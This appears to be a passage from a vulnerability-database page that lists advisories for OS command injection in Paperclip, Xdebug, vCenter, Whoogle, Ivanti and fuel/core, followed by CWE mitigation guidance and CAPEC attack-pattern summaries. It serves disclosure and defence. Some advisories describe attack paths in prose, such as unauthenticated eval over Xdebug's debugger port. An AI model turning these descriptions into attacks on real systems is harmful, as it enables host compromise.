Error(\n \"Agents are not permitted to configure workspaceStrategy.provisionCommand\"\n );\n}\n```\nAdditionally, the server should avoid executing arbitrary shell commands derived from configuration values.\nInstead of executing:\n```\nspawn(\"/bin/sh\", [\"-c\", command])\n```\nprefer structured execution:\n```\nspawn(binary, args)\n```\nor restrict the command to a predefined allowlist.\n\n### Security Impact Statement\nAn authenticated attacker with an Agent API key can modify their agent configuration to inject arbitrary shell commands into `workspaceStrategy.provisionCommand`. These commands are executed by the Paperclip server during workspace provisioning via `spawn(\"/bin/sh\", [\"-c\", command])`, resulting in arbitrary command execution on the host system.\n\n### Disclosure\nThis vulnerability was discovered during security research on the Paperclip orchestration runtime.\nThe issue is reported privately to allow maintainers to patch before public disclosure.",
"id": "GHSA-265w-rf2w-cjh4",
"modified": "2026-04-24T20:53:40Z",
"published": "2026-04-16T22:45:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-265w-rf2w-cjh4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41208"
},
{
"type": "PACKAGE",
"url": "https://github.com/paperclipai/paperclip"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Paperclip: Privilege Escalation via Agent-Controlled workspaceStrategy.provisionCommand Leading to OS Command Execution"
}
GHSA-267W-63F8-M896
Vulnerability from github – Published: 2025-07-23 15:31 – Updated: 2025-07-23 15:31An unauthenticated OS command injection vulnerability exists within Xdebug versions 2.5.5 and earlier, a PHP debugging extension developed by Derick Rethans. When remote debugging is enabled, Xdebug listens on port 9000 and accepts debugger protocol commands without authentication. An attacker can send a crafted eval command over this interface to execute arbitrary PHP code, which may invoke system-level functions such as system() or passthru(). This results in full compromise of the host under the privileges of the web server user.
{
"affected": [],
"aliases": [
"CVE-2015-10141"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-23T14:15:31Z",
"severity": "CRITICAL"
},
"details": "An unauthenticated OS command injection vulnerability exists within Xdebug versions 2.5.5 and earlier, a PHP debugging extension developed by Derick Rethans. When remote debugging is enabled, Xdebug listens on port 9000 and accepts debugger protocol commands without authentication. An attacker can send a crafted eval command over this interface to execute arbitrary PHP code, which may invoke system-level functions such as system() or passthru(). This results in full compromise of the host under the privileges of the web server user.",
"id": "GHSA-267w-63f8-m896",
"modified": "2025-07-23T15:31:13Z",
"published": "2025-07-23T15:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-10141"
},
{
"type": "WEB",
"url": "https://kirtixs.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44568"
},
{
"type": "WEB",
"url": "https://www.fortiguard.com/encyclopedia/ips/46000"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/xdebug-remote-debugger-unauth-os-command-execution"
},
{
"type": "WEB",
"url": "https://xdebug.org"
},
{
"type": "WEB",
"url": "http://web.archive.org/web/20231226215418/https://paper.seebug.org/397"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2687-XWFR-5FX9
Vulnerability from github – Published: 2025-05-20 15:30 – Updated: 2025-05-20 15:30The vCenter Server contains an authenticated command-execution vulnerability. A malicious actor with privileges to create or modify alarms and run script action may exploit this issue to run arbitrary commands on the vCenter Server.
{
"affected": [],
"aliases": [
"CVE-2025-41225"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-20T15:16:07Z",
"severity": "HIGH"
},
"details": "The vCenter Server contains an authenticated command-execution vulnerability.\u00a0A malicious actor with privileges to create or modify alarms and run script action may exploit this issue to run arbitrary commands on the vCenter Server.",
"id": "GHSA-2687-xwfr-5fx9",
"modified": "2025-05-20T15:30:41Z",
"published": "2025-05-20T15:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41225"
},
{
"type": "WEB",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/25717"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2689-CW26-6CPJ
Vulnerability from github – Published: 2025-04-16 18:31 – Updated: 2025-04-16 20:38An issue in the component /models/config.py of Whoogle search v0.9.0 allows attackers to execute arbitrary code via supplying a crafted search query.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "whoogle-search"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-53305"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-16T20:38:00Z",
"nvd_published_at": "2025-04-16T18:16:03Z",
"severity": "HIGH"
},
"details": "An issue in the component /models/config.py of Whoogle search v0.9.0 allows attackers to execute arbitrary code via supplying a crafted search query.",
"id": "GHSA-2689-cw26-6cpj",
"modified": "2025-04-16T20:38:00Z",
"published": "2025-04-16T18:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53305"
},
{
"type": "WEB",
"url": "https://github.com/benbusby/whoogle-search/commit/223f00c3c0533423114f99b30c561278bc0b42ba"
},
{
"type": "WEB",
"url": "https://fern89.github.io/posts/whoogle-rce"
},
{
"type": "WEB",
"url": "https://gist.github.com/fern89/ca5fe76ad81b4bc363e7341e523a1651"
},
{
"type": "PACKAGE",
"url": "https://github.com/benbusby/whoogle-search"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Whoogle allows attackers to execute arbitrary code via supplying a crafted search query"
}
GHSA-268C-V4F5-27QW
Vulnerability from github – Published: 2024-11-12 18:30 – Updated: 2024-11-12 18:30Command injection in Ivanti Connect Secure before version 22.7R2.1 and Ivanti Policy Secure before version 22.7R1.1 allows a remote authenticated attacker with admin privileges to achieve remote code execution.
{
"affected": [],
"aliases": [
"CVE-2024-11007"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-12T16:15:20Z",
"severity": "CRITICAL"
},
"details": "Command injection in Ivanti Connect Secure before version 22.7R2.1 and Ivanti Policy Secure before version 22.7R1.1 allows a remote authenticated attacker with admin privileges to achieve remote code execution.",
"id": "GHSA-268c-v4f5-27qw",
"modified": "2024-11-12T18:30:53Z",
"published": "2024-11-12T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11007"
},
{
"type": "WEB",
"url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-ICS-Ivanti-Policy-Secure-IPS-Ivanti-Secure-Access-Client-ISAC-Multiple-CVEs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-26HP-CGJJ-M2J3
Vulnerability from github – Published: 2024-05-15 21:44 – Updated: 2024-05-15 21:44This vulnerability may cause OS commands to be executed when you pass unvalidated image filenames containing specially crafted strings to the ImageMagick driver.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "fuel/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-15T21:44:46Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "This vulnerability may cause OS commands to be executed when you pass unvalidated image filenames containing specially crafted strings to the ImageMagick driver.",
"id": "GHSA-26hp-cgjj-m2j3",
"modified": "2024-05-15T21:44:46Z",
"published": "2024-05-15T21:44:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fuel/core/commit/95c134e9e087f3c4523fe6cd86ed4e9e1e7af91c"
},
{
"type": "WEB",
"url": "https://fuelphp.com/security-advisories"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/fuel/core/2016-06-29-1.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/fuel/core"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "fuel/core ImageMagick driver does not escape all shell arguments."
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.